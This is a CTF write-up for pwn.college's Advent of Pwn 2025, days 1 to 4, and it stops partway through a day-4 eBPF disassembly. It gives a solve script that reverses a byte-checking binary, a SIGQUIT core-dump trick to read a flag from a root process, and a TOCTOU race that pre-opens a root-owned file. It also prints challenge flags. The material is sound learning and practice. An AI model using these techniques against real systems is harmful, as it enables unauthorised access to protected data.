Post

[Writeup] Advent of Pwn 2025(Pwn College)

Writeup for Advent of Pwn 2025

[Writeup] Advent of Pwn 2025(Pwn College)

Preface

This is my writeup for Advent of Pwn 2025, a CTF-style challenge series hosted by Pwn College. The challenges are designed to teach and test skills in binary exploitation, reverse engineering, and related areas.


Day01


Description

Every year, Santa maintains the legendary Naughty-or-Nice list, and despite the rumors, there’s no magic

behind it at all—it’s pure, meticulous byte-level bookkeeping. Your job is to apply every tiny change exactly and

confirm the final list matches perfectly—check it once, check it twice, because Santa does not tolerate even a

single incorrect byte. At the North Pole, it’s all just static analysis anyway: even a simple objdump | grep naughty

goes a long way.


Analysis

When I first opened IDA, a huge christmas tree greeted me with millions of instructions and a message Decompilation failure.

A big surprise from pwn.college 😅.

Desktop View Desktop View

The program read 0x400 bytes from user iput and after a millions of add and sub instructions, it compared

each byte against hardcoded constants with cmp.

  • If any byte doesn’t match, it prints: 🚫 Wrong: Santa told you to check that list twice!.

  • If all comparisons succeed, it prints: ✨ Correct: you checked it twice, and it shows! and return the flag.


Exploitation

Because there are too many instructions, I decided to use objdump and write script to compute

1
objdump -d -M intel check-list > disasm.txt

(-d for disassemble executable sections, -M intel forces Intel syntax, which is easier to parse with regex.)

So, I will write a function that

  • For every instruction of the form
add BYTE PTR [rbp-0xOFF], 0xIMM
sub BYTE PTR [rbp-0xOFF], 0xIMM

I compute the corresponding input index with: index = 0x400 - OFF and accumulate the net effect into a

delta[index] table and the same for cmp.

The program enforces: (input[i] + delta[i]) & 0xff = target[i]

So the input byte at index i is: input[i] = (target[i] - delta[i]) & 0xff

Solve script:

Click to view solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
from pwn import *
import re, sys

BUF = 0x400


def parse_disasm(path):
    ra = re.compile(
        r'\s*[0-9a-fA-F]+:.*\b(add|sub)\s+BYTE PTR \[rbp-0x([0-9a-fA-F]+)\],0x([0-9a-fA-F]+)'
    )
    rc = re.compile(
        r'\s*[0-9a-fA-F]+:.*\bcmp\s+BYTE PTR \[rbp-0x([0-9a-fA-F]+)\],0x([0-9a-fA-F]+)'
    )
    deltas, cmps = {}, {}

    for line in open(path, encoding="utf-8"):
        m = ra.search(line)
        if m:
            op = m.group(1)
            off = int(m.group(2), 16)
            imm = int(m.group(3), 16)
            idx = BUF - off
            if idx < 0:
                continue
            d = deltas.get(idx, 0)
            deltas[idx] = (d + imm) & 0xFF if op == "add" else (d - imm) & 0xFF

        m = rc.search(line)
        if m:
            off = int(m.group(1), 16)
            val = int(m.group(2), 16)
            idx = BUF - off
            if idx < 0:
                continue
            cmps[idx] = val

    return deltas, cmps


deltas, cmps = parse_disasm(sys.argv[1])

mn, mx = min(cmps), max(cmps)
desired, orig = bytearray(), bytearray()

for i in range(mn, mx + 1):
    v = cmps.get(i, 0)
    desired.append(v)
    d = deltas.get(i, 0)
    orig.append((v - d) & 0xFF)

print("desired_str:", desired.decode("latin1", errors="replace"))
print("desired_hex:", desired.hex())
print("input_hex:", orig.hex())
print("input_ascii:", orig.decode("latin1", errors="replace"))

p = process("/challenge/check-list")
p.send(orig)
p.interactive()

Flag: pwn.college{wIbQ8j1cIjonK0sCN1R-iNSmjNj.0FO1gTMywiN1UDN0EzW}


Day02

Description

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CLAUS(7)                   Linux Programmer's Manual                   CLAUS(7)

NAME
       claus - unstoppable holiday daemon

DESCRIPTION
       Executes once per annum.
       Blocks SIGTSTP to ensure uninterrupted delivery.
       May dump coal if forced to quit (see BUGS).

BUGS       
       Under some configurations, quitting may result in coal being dumped into
       your stocking.

SEE ALSO
       nice(1), core(5), elf(5), pty(7), signal(7)

Linux                              Dec 2025                            CLAUS(7)

You really should start here if you’re new to the dojo or could use a refresher.


Analysis

Click to view claus.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char gift[256];

void wrap(char *gift, size_t size)
{
    fprintf(stdout, "Wrapping gift: [          ] 0%%");
    for (int i = 0; i < size; i++) {
        sleep(1);
        gift[i] = "#####\n"[i % 6];
        int progress = (i + 1) * 100 / size;
        int bars = progress / 10;
        fprintf(stdout, "\rWrapping gift: [");
        for (int j = 0; j < 10; j++) {
            fputc(j < bars ? '=' : ' ', stdout);
        }
        fprintf(stdout, "] %d%%", progress);
        fflush(stdout);
    }
    fprintf(stdout, "\n🎁 Gift wrapped successfully!\n\n");
}

void sigtstp_handler(int signum)
{
    puts("🎅 Santa won't stop!");
}

int main(int argc, char **argv, char **envp)
{
    uid_t ruid, euid, suid;

    if (getresuid(&ruid, &euid, &suid) == -1) {
        perror("getresuid");
        return 1;
    }

    if (euid != 0) {
        fprintf(stderr, "❌ Error: Santa must wrap as root!\n");
        return 1;
    }

    if (ruid != 0) {
        if (setreuid(0, -1) == -1) {
            perror("setreuid");
            return 1;
        }

        fprintf(stdout, "🦌 Now, Dasher! now, Dancer! now, Prancer and Vixen!\nOn, Comet! on Cupid! on, Donder and Blitzen!\n\n");
        execve("/proc/self/exe", argv, envp);

        perror("execve");
        return 127;
    }

    if (signal(SIGTSTP, sigtstp_handler) == SIG_ERR) {
        perror("signal");
        return 1;
    }

    int fd = open("/flag", O_RDONLY);
    if (fd == -1) {
        perror("open");
        return 1;
    }

    int count = read(fd, gift, sizeof(gift));
    if (count == -1) {
        perror("read");
        return 1;
    }

    wrap(gift, count);

    puts("🎄 Merry Christmas!\n");
    puts(gift);

    return 0;
}
Click to view init-coal.sh
1
2
3
4
5
6
7
#!/bin/sh

set -eu

mount -o remount,rw /proc/sys
echo coal > /proc/sys/kernel/core_pattern
mount -o remount,ro /proc/sys

We are provided with a binary claus, its source code claus.c, and a setup script init-coal.sh. Overall, the binary reads

a flag into memory and “wrap” it with #.

1
2
3
4
5
6
7
8
char gift[256];

int fd = open("/flag", O_RDONLY);
int count = read(fd, gift, sizeof(gift));
...
wrap(gift, count);
...
puts(gift);

The key observations that inside warp():

  • sleep(1)

  • Then gift[i] = "#####\n"[i % 6];

    So the buffer gift still contains the flag, but each byte is overwritten one by one with # after a 1 second delay.

Furthermore, in init-coal.sh, it changes /proc/sys/kernel/core_pattern to the literal string coal. According to man 5 core, when core_pattern does not start with |, it is treated as the filename template for core dumps. In our case, every time a process dumps core, the kernel will write a file named coal in the current working directory of the crashing process.

So if we can make claus crash while the flag is still sitting in gift, we’ll get a file called coal that is a snapshot of

the process’s memory – including the flag.

Exploitation

I incidentally found this blog that explains how to generate, view and analyze core dumps.

We first run

1
ulimit -c unlimited

to set the soft RLIMIT_CORE resource limit to “unlimited”, so that when claus crashes it actually produces a core file.

Next, we need a signal whose default action is to terminate the process and produce a core dump.

  • SIGINT (Ctrl+C) only terminates the process without generating a core.

  • SIGTSTP (Ctrl+Z) which normally stops the process, but in this challenge SIGTSTP is caught and ignored it.

1
2
3
4
void sigtstp_handler(int signum)
{
    puts("🎅 Santa won't stop!");
}
  • SIGQUIT (Ctrl+\) will terminates the process and produces a core dump.

    However, after causing core dump, we don’t have permission to read the core file:

Desktop View

The challenge run as root:

1
2
3
4
if (ruid != 0) {
    setreuid(0, -1);
    execve("/proc/self/exe", argv, envp);
}

But there is may be a hint in the description:

1
You really should [start here](https://pwn.college/welcome/welcome/) if you're new to the dojo or could use a refresher.

At Using Privileged Mode said that If you launch the challenge in Privileged mode, it will grant you

administrative privileges. So we can use sudo to read the core file. Furthermore, the folder /home/hacker is saved

across challenge restarts, so we can cause the core dump to be saved there.

POC:

Desktop View

Flag: pwn.college{oKntyuu3VV8uDHlHMZOnYqGvS5S.0FO3gTMywiN1UDN0EzW}


Day03


Description

🎄 Issue: Stocking delivery misroutes gifts to root under “sleeping nicely” conditions

Labels: bug, priority-high, santa-infra, northpole-delivery

Description

During the annual holiday deployment cycle, the stuff-stocking service incorrectly delivered a user’s gift into a stocking owned by root. This occurs as soon as the “children sleeping nicely” signal fires, which triggers Santa’s stocking-fill workflow (SLEIGH-RFC-1225).

Once the condition triggers, /stocking—created prematurely and owned by root—is sealed and the gift is written inside, leaving the intended recipient empty-handed.

Expected Behavior

The stocking-stuffer service should:

  1. Create /stocking with ownership set to the correct child (UID 1000)
  2. Wait for at least one nicely sleeping child (positive-nice sleep process)
  3. Deliver the gift into that child’s stocking
  4. Lock down permissions
  5. Preserve overall Christmas cheer

Actual Behavior

  1. /flag is read and removed (expected)
  2. /stocking is created early and owned by root
  3. When the “sleeping nicely” condition succeeds, Santa seals the stocking (chmod 400)
  4. Gift is written into root’s stocking (root did not ask Santa for a flag)
  5. The intended user cannot access their gift

Reproduction Steps

  1. Launch stuff-stocking
  2. Allow any child process to begin “sleeping nicely” (nice > 0)
  3. Inspect /stocking ownership
  4. Observe gift delivery into root’s stocking
  5. Whisper “Ho ho no…”

Additional Notes

  • Misrouting likely caused by a mix-up in Santa’s recipient ledger (possibly outdated naughty/nice metadata).
  • Elves report that stocking creation timing can influence the eventual recipient, although this is not documented behavior.
  • Root maintains they “really don’t need more things to maintain.”
  • Internal SIRE notes indicate the team was “racing to finish delivering all gifts before sunrise,” which may have contributed to insufficient review of stocking ownership logic.
  • Holiday deadlines continue to present organizational risk.

Impact

High. Users expecting gifts may instead receive nothing, while root receives gifts they did not ask for and cannot appreciate.

🎁 Proposed Fix

Assign the correct ownership to /stocking before Santa seals it.

Patch

1
2
3
4
5
6
7
8
9
10
diff --git a/stuff-stocking b/stuff-stocking
index 614b458..e441bfe 100755
--- a/stuff-stocking
+++ b/stuff-stocking
@@ -19,4 +19,5 @@ until sleeping_nice; do
 done

 chmod 400 /stocking
+chown 1000:1000 /stocking
 printf "%s" "$GIFT" > /stocking

This ensures gifts reach the intended child instead of quietly accumulating in root’s stocking.

🛠️ SantaOps Commentary

“This misdelivery stemmed from high seasonal load, compressed review cycles, and an unhealthy reliance on ‘it worked last year.’ SIRE will enforce a freeze on last-minute changes after the ‘sleeping nicely’ cutoff to prevent further stocking misroutes.”

  • Santa Infrastructure Reliability Engineering (SIRE)

Analysis

Click to view stuff-stocking
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/sh

set -eu

GIFT="$(cat /flag)"
rm /flag

touch /stocking

sleeping_nice() {
    ps ao ni,comm --no-headers \
        | awk '$1 > 0' \
        | grep -q sleep
}

# Only when children sleep sweetly and nice does Santa begin his flight
until sleeping_nice; do
    sleep 0.1
done

chmod 400 /stocking
printf "%s" "$GIFT" > /stocking
Click to view init-stuff-stocking.sh
1
2
3
#!/bin/sh

/challenge/stuff-stocking &

The challenge give up a shell script stuff-stocking run with root(init-stuff-stocking.sh) run right after the container starts.

  • It reads the flag from /flag into variable $GIFT and then deletes rm /flag.

  • Loop sleeping_nice() checks if there is any process with positive nice value (i.e., nice > 0).

  • In ps, ni is the nice value of the process, and comm is the command name.

  • Continuously check if any sleeping process has nice > 0.

  • If satisfied, then change file permission to read-only for the owner

=> TOCTOU (Time of Check to Time of Use)

More about nice


Exploitation

1
2
ubuntu@2025~day-03:~$ ls -l /stocking 
-rw-r--r-- 1 root root 0 Dec  3 12:10 /stocking

So we can pre-open /stocking and keep reading it. Then trigger condition to get flag.

POC:

Desktop View

Flag: pwn.college{gAYsiEAy366n3ti2_8ZeKdQlzFV.0FN4gTMywiN1UDN0EzW}


Day04


Description

Every Christmas Eve, Santa’s reindeer take to the skies—but not through holiday magic. Their whole flight control stack runs on pure eBPF, uplinked straight into the North Pole, a massive kprobe the reindeer feed telemetry into mid-flight. The ever-vigilant eBPF verifier rejects anything even slightly questionable, which is why the elves spend most of December hunched over terminals, running llvm-objdump on sleigh binaries and praying nothing in the control path gets inlined into oblivion again. It’s all very festive, in a high-performance-kernel-engineering sort of way. Ho ho .ko!


Analysis

Click to view northpole.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#define _GNU_SOURCE
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <stdbool.h>
#include <ctype.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>

static volatile sig_atomic_t stop;

static void handle_sigint(int sig)
{
    (void)sig;
    stop = 1;
}

static int libbpf_print_fn(enum libbpf_print_level level,
                           const char *fmt, va_list args)
{
    return vfprintf(stderr, fmt, args);
}

static void broadcast_cheer(void)
{
    libbpf_set_print(libbpf_print_fn);
    libbpf_set_strict_mode(LIBBPF_STRICT_ALL);

    DIR *d = opendir("/dev/pts");
    struct dirent *de;
    char path[64];
    char flag[256];
    char banner[512];
    ssize_t n;

    if (!d)
        return;

    int ffd = open("/flag", O_RDONLY | O_CLOEXEC);
    if (ffd >= 0) {
        n = read(ffd, flag, sizeof(flag) - 1);
        if (n >= 0)
            flag[n] = '\0';
        close(ffd);
    } else {
        strcpy(flag, "no-flag\n");
    }

    snprintf(
        banner,
        sizeof(banner),
        "🎅 🎄 🎁 \x1b[1;31mHo Ho Ho\x1b[0m, \x1b[1;32mMerry Christmas!\x1b[0m\n"
        "%s",
        flag);

    while ((de = readdir(d)) != NULL) {
        const char *name = de->d_name;
        size_t len = strlen(name);
        bool all_digits = true;

        if (len == 0 || name[0] == '.')
            continue;
        if (strcmp(name, "ptmx") == 0)
            continue;

        for (size_t i = 0; i < len; i++) {
            if (!isdigit((unsigned char)name[i])) {
                all_digits = false;
                break;
            }
        }
        if (!all_digits)
            continue;

        snprintf(path, sizeof(path), "/dev/pts/%s", name);
        int fd = open(path, O_WRONLY | O_NOCTTY | O_CLOEXEC);
        if (fd < 0)
            continue;
        write(fd, "\x1b[2J\x1b[H", 7);
        write(fd, banner, strlen(banner));
        close(fd);
    }

    closedir(d);
}

int main(void)
{
    struct bpf_object *obj = NULL;
    struct bpf_program *prog = NULL;
    struct bpf_link *link = NULL;
    struct bpf_map *success = NULL;
    int map_fd;
    __u32 key0 = 0;
    int err;
    int should_broadcast = 0;

    libbpf_set_strict_mode(LIBBPF_STRICT_ALL);
    setvbuf(stdout, NULL, _IONBF, 0);

    obj = bpf_object__open_file("/challenge/tracker.bpf.o", NULL);
    if (!obj) {
        fprintf(stderr, "Failed to open BPF object: %s\n", strerror(errno));
        return 1;
    }

    err = bpf_object__load(obj);
    if (err) {
        fprintf(stderr, "Failed to load BPF object: %s\n", strerror(-err));
        goto cleanup;
    }

    prog = bpf_object__find_program_by_name(obj, "handle_do_linkat");
    if (!prog) {
        fprintf(stderr, "Could not find BPF program handle_do_linkat\n");
        goto cleanup;
    }

    link = bpf_program__attach_kprobe(prog, false, "__x64_sys_linkat");
    if (!link) {
        fprintf(stderr, "Failed to attach kprobe __x64_sys_linkat: %s\n", strerror(errno));
        goto cleanup;
    }

    signal(SIGINT, handle_sigint);
    signal(SIGTERM, handle_sigint);

    success = bpf_object__find_map_by_name(obj, "success");
    if (!success) {
        fprintf(stderr, "Failed to find success map\n");
        goto cleanup;
    }
    map_fd = bpf_map__fd(success);

    printf("Attached. Press Ctrl-C to quit.\n");
    fflush(stdout);
    while (!stop) {
        __u32 v = 0;
        if (bpf_map_lookup_elem(map_fd, &key0, &v) == 0 && v != 0) {
            should_broadcast = 1;
            stop = 1;
            break;
        }
        usleep(100000);
    }

    if (should_broadcast)
        broadcast_cheer();

cleanup:
    if (link)
        bpf_link__destroy(link);
    if (obj)
        bpf_object__close(obj);
    return err ? 1 : 0;
}
Click to view init-northpole.sh
1
2
3
4
5
#!/bin/sh

set -eu

/challenge/northpole > /dev/null 2>&1 &

The challenge presents us with a userspace binary northpole and an eBPF object file tracker.bpf.o.

  • northpole load the BPF object and attaches the eBPF program to the linkat syscall via kprobe.

  • Find a map called success inside the BPF object.

  • When success[0] != 0, it calls broadcast_cheer() to read the flag from /flag and write it to all open terminal(/dev/pts/*).

With the hint llvm-objdump, we can disassemble the eBPF object file:

1
llvm-objdump -d -S -r tracker.bpf.o > tracker.S
Click to view tracker.S

tracker.bpf.o:	file format elf64-bpf

Disassembly of section kprobe/__x64_sys_linkat:

0000000000000000 <handle_do_linkat>:
       0:	79 16 70 00 00 00 00 00	r6 = *(u64 *)(r1 + 0x70)
       1:	b7 01 00 00 00 00 00 00	r1 = 0x0
       2:	7b 1a d0 ff 00 00 00 00	*(u64 *)(r10 - 0x30) = r1
       3:	7b 1a c8 ff 00 00 00 00	*(u64 *)(r10 - 0x38) = r1
       4:	15 06 0e 01 00 00 00 00	if r6 == 0x0 goto +0x10e <handle_do_linkat+0x898>
       5:	bf 63 00 00 00 00 00 00	r3 = r6
       6:	07 03 00 00 68 00 00 00	r3 += 0x68
       7:	bf a1 00 00 00 00 00 00	r1 = r10
       8:	07 01 00 00 d0 ff ff ff	r1 += -0x30
       9:	b7 02 00 00 08 00 00 00	r2 = 0x8
      10:	85 00 00 00 71 00 00 00	call 0x71
      11:	07 06 00 00 38 00 00 00	r6 += 0x38
      12:	bf a1 00 00 00 00 00 00	r1 = r10
      13:	07 01 00 00 c8 ff ff ff	r1 += -0x38
      14:	b7 02 00 00 08 00 00 00	r2 = 0x8
      15:	bf 63 00 00 00 00 00 00	r3 = r6
      16:	85 00 00 00 71 00 00 00	call 0x71
      17:	79 a3 d0 ff 00 00 00 00	r3 = *(u64 *)(r10 - 0x30)
      18:	15 03 00 01 00 00 00 00	if r3 == 0x0 goto +0x100 <handle_do_linkat+0x898>
      19:	79 a1 c8 ff 00 00 00 00	r1 = *(u64 *)(r10 - 0x38)
      20:	15 01 fe 00 00 00 00 00	if r1 == 0x0 goto +0xfe <handle_do_linkat+0x898>
      21:	bf a1 00 00 00 00 00 00	r1 = r10
      22:	07 01 00 00 d8 ff ff ff	r1 += -0x28
      23:	b7 02 00 00 10 00 00 00	r2 = 0x10
      24:	85 00 00 00 72 00 00 00	call 0x72
      25:	67 00 00 00 20 00 00 00	r0 <<= 0x20
      26:	c7 00 00 00 20 00 00 00	r0 s>>= 0x20
      27:	b7 01 00 00 01 00 00 00	r1 = 0x1
      28:	6d 01 f6 00 00 00 00 00	if r1 s> r0 goto +0xf6 <handle_do_linkat+0x898>
      29:	79 a3 d0 ff 00 00 00 00	r3 = *(u64 *)(r10 - 0x30)
      30:	bf a1 00 00 00 00 00 00	r1 = r10
      31:	07 01 00 00 f0 ff ff ff	r1 += -0x10
      32:	b7 02 00 00 10 00 00 00	r2 = 0x10
      33:	85 00 00 00 72 00 00 00	call 0x72
      34:	67 00 00 00 20 00 00 00	r0 <<= 0x20
      35:	77 00 00 00 20 00 00 00	r0 >>= 0x20
      36:	55 00 ee 00 07 00 00 00	if r0 != 0x7 goto +0xee <handle_do_linkat+0x898>
      37:	71 a1 f0 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0x10)
      38:	55 01 ec 00 73 00 00 00	if r1 != 0x73 goto +0xec <handle_do_linkat+0x898>
      39:	71 a1 f1 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xf)
      40:	55 01 ea 00 6c 00 00 00	if r1 != 0x6c goto +0xea <handle_do_linkat+0x898>
      41:	71 a1 f2 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xe)
      42:	55 01 e8 00 65 00 00 00	if r1 != 0x65 goto +0xe8 <handle_do_linkat+0x898>
      43:	71 a1 f3 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xd)
      44:	55 01 e6 00 69 00 00 00	if r1 != 0x69 goto +0xe6 <handle_do_linkat+0x898>
      45:	71 a1 f4 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xc)
      46:	55 01 e4 00 67 00 00 00	if r1 != 0x67 goto +0xe4 <handle_do_linkat+0x898>
      47:	71 a1 f5 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xb)
      48:	55 01 e2 00 68 00 00 00	if r1 != 0x68 goto +0xe2 <handle_do_linkat+0x898>
      49:	79 a3 c8 ff 00 00 00 00	r3 = *(u64 *)(r10 - 0x38)
      50:	bf a1 00 00 00 00 00 00	r1 = r10
      51:	07 01 00 00 d8 ff ff ff	r1 += -0x28
      52:	b7 02 00 00 10 00 00 00	r2 = 0x10
      53:	85 00 00 00 72 00 00 00	call 0x72
      54:	67 00 00 00 20 00 00 00	r0 <<= 0x20
      55:	c7 00 00 00 20 00 00 00	r0 s>>= 0x20
      56:	b7 01 00 00 01 00 00 00	r1 = 0x1
      57:	6d 01 d9 00 00 00 00 00	if r1 s> r0 goto +0xd9 <handle_do_linkat+0x898>
      58:	79 a6 c8 ff 00 00 00 00	r6 = *(u64 *)(r10 - 0x38)
      59:	b7 07 00 00 00 00 00 00	r7 = 0x0
      60:	63 7a ec ff 00 00 00 00	*(u32 *)(r10 - 0x14) = r7
      61:	bf a2 00 00 00 00 00 00	r2 = r10
      62:	07 02 00 00 ec ff ff ff	r2 += -0x14
      63:	18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00	r1 = 0x0 ll
		00000000000001f8:  R_BPF_64_64	progress
      65:	85 00 00 00 01 00 00 00	call 0x1
      66:	15 00 01 00 00 00 00 00	if r0 == 0x0 goto +0x1 <handle_do_linkat+0x220>
      67:	61 07 00 00 00 00 00 00	r7 = *(u32 *)(r0 + 0x0)
      68:	bf a1 00 00 00 00 00 00	r1 = r10
      69:	07 01 00 00 f0 ff ff ff	r1 += -0x10
      70:	b7 02 00 00 10 00 00 00	r2 = 0x10
      71:	bf 63 00 00 00 00 00 00	r3 = r6
      72:	85 00 00 00 72 00 00 00	call 0x72
      73:	67 00 00 00 20 00 00 00	r0 <<= 0x20
      74:	77 00 00 00 20 00 00 00	r0 >>= 0x20
      75:	55 00 0e 00 07 00 00 00	if r0 != 0x7 goto +0xe <handle_do_linkat+0x2d0>
      76:	71 a1 f0 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0x10)
      77:	55 01 0c 00 64 00 00 00	if r1 != 0x64 goto +0xc <handle_do_linkat+0x2d0>
      78:	71 a1 f1 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xf)
      79:	55 01 0a 00 61 00 00 00	if r1 != 0x61 goto +0xa <handle_do_linkat+0x2d0>
      80:	71 a1 f2 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xe)
      81:	55 01 08 00 73 00 00 00	if r1 != 0x73 goto +0x8 <handle_do_linkat+0x2d0>
      82:	71 a1 f3 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xd)
      83:	55 01 06 00 68 00 00 00	if r1 != 0x68 goto +0x6 <handle_do_linkat+0x2d0>
      84:	71 a1 f4 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xc)
      85:	55 01 04 00 65 00 00 00	if r1 != 0x65 goto +0x4 <handle_do_linkat+0x2d0>
      86:	71 a1 f5 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xb)
      87:	55 01 02 00 72 00 00 00	if r1 != 0x72 goto +0x2 <handle_do_linkat+0x2d0>
      88:	b7 01 00 00 01 00 00 00	r1 = 0x1
      89:	05 00 b0 00 00 00 00 00	goto +0xb0 <handle_do_linkat+0x850>
      90:	65 07 18 00 03 00 00 00	if r7 s> 0x3 goto +0x18 <handle_do_linkat+0x398>
      91:	15 07 55 00 01 00 00 00	if r7 == 0x1 goto +0x55 <handle_do_linkat+0x588>
      92:	15 07 94 00 02 00 00 00	if r7 == 0x2 goto +0x94 <handle_do_linkat+0x788>
      93:	15 07 01 00 03 00 00 00	if r7 == 0x3 goto +0x1 <handle_do_linkat+0x2f8>
      94:	05 00 aa 00 00 00 00 00	goto +0xaa <handle_do_linkat+0x848>
      95:	bf a1 00 00 00 00 00 00	r1 = r10
      96:	07 01 00 00 f0 ff ff ff	r1 += -0x10
      97:	b7 02 00 00 10 00 00 00	r2 = 0x10
      98:	bf 63 00 00 00 00 00 00	r3 = r6
      99:	85 00 00 00 72 00 00 00	call 0x72
     100:	67 00 00 00 20 00 00 00	r0 <<= 0x20
     101:	77 00 00 00 20 00 00 00	r0 >>= 0x20
     102:	55 00 a2 00 06 00 00 00	if r0 != 0x6 goto +0xa2 <handle_do_linkat+0x848>
     103:	71 a1 f0 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0x10)
     104:	55 01 a0 00 76 00 00 00	if r1 != 0x76 goto +0xa0 <handle_do_linkat+0x848>
     105:	71 a1 f1 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xf)
     106:	55 01 9e 00 69 00 00 00	if r1 != 0x69 goto +0x9e <handle_do_linkat+0x848>
     107:	71 a1 f2 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xe)
     108:	55 01 9c 00 78 00 00 00	if r1 != 0x78 goto +0x9c <handle_do_linkat+0x848>
     109:	71 a1 f3 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xd)
     110:	55 01 9a 00 65 00 00 00	if r1 != 0x65 goto +0x9a <handle_do_linkat+0x848>
     111:	71 a1 f4 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xc)
     112:	55 01 98 00 6e 00 00 00	if r1 != 0x6e goto +0x98 <handle_do_linkat+0x848>
     113:	b7 01 00 00 04 00 00 00	r1 = 0x4
     114:	05 00 97 00 00 00 00 00	goto +0x97 <handle_do_linkat+0x850>
     115:	65 07 17 00 05 00 00 00	if r7 s> 0x5 goto +0x17 <handle_do_linkat+0x458>
     116:	15 07 52 00 04 00 00 00	if r7 == 0x4 goto +0x52 <handle_do_linkat+0x638>
     117:	15 07 01 00 05 00 00 00	if r7 == 0x5 goto +0x1 <handle_do_linkat+0x3b8>
     118:	05 00 92 00 00 00 00 00	goto +0x92 <handle_do_linkat+0x848>
     119:	bf a1 00 00 00 00 00 00	r1 = r10
     120:	07 01 00 00 f0 ff ff ff	r1 += -0x10
     121:	b7 02 00 00 10 00 00 00	r2 = 0x10
     122:	bf 63 00 00 00 00 00 00	r3 = r6
     123:	85 00 00 00 72 00 00 00	call 0x72
     124:	67 00 00 00 20 00 00 00	r0 <<= 0x20
     125:	77 00 00 00 20 00 00 00	r0 >>= 0x20
     126:	55 00 8a 00 06 00 00 00	if r0 != 0x6 goto +0x8a <handle_do_linkat+0x848>
     127:	71 a1 f0 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0x10)
     128:	55 01 88 00 63 00 00 00	if r1 != 0x63 goto +0x88 <handle_do_linkat+0x848>
     129:	71 a1 f1 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xf)
     130:	55 01 86 00 75 00 00 00	if r1 != 0x75 goto +0x86 <handle_do_linkat+0x848>
     131:	71 a1 f2 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xe)
     132:	55 01 84 00 70 00 00 00	if r1 != 0x70 goto +0x84 <handle_do_linkat+0x848>
     133:	71 a1 f3 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xd)
     134:	55 01 82 00 69 00 00 00	if r1 != 0x69 goto +0x82 <handle_do_linkat+0x848>
     135:	71 a1 f4 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xc)
     136:	55 01 80 00 64 00 00 00	if r1 != 0x64 goto +0x80 <handle_do_linkat+0x848>
     137:	b7 01 00 00 06 00 00 00	r1 = 0x6
     138:	05 00 7f 00 00 00 00 00	goto +0x7f <handle_do_linkat+0x850>
     139:	15 07 4f 00 06 00 00 00	if r7 == 0x6 goto +0x4f <handle_do_linkat+0x6d8>
     140:	15 07 01 00 07 00 00 00	if r7 == 0x7 goto +0x1 <handle_do_linkat+0x470>
     141:	05 00 7b 00 00 00 00 00	goto +0x7b <handle_do_linkat+0x848>
     142:	bf a1 00 00 00 00 00 00	r1 = r10
     143:	07 01 00 00 f0 ff ff ff	r1 += -0x10
     144:	b7 02 00 00 10 00 00 00	r2 = 0x10
     145:	bf 63 00 00 00 00 00 00	r3 = r6
     146:	85 00 00 00 72 00 00 00	call 0x72
     147:	67 00 00 00 20 00 00 00	r0 <<= 0x20
     148:	77 00 00 00 20 00 00 00	r0 >>= 0x20
     149:	55 00 73 00 08 00 00 00	if r0 != 0x8 goto +0x73 <handle_do_linkat+0x848>
     150:	71 a1 f0 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0x10)
     151:	55 01 71 00 62 00 00 00	if r1 != 0x62 goto +0x71 <handle_do_linkat+0x848>
     152:	71 a1 f1 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xf)
     153:	55 01 6f 00 6c 00 00 00	if r1 != 0x6c goto +0x6f <handle_do_linkat+0x848>
     154:	71 a1 f2 ff 00 00 00 00	r1 = *(u8 *)(r10 - 0xe)
     155:	55 01 6d 00 69 00 00 00	if r1 != 0x69 goto +0x6d <handle_do_linkat+0x848>
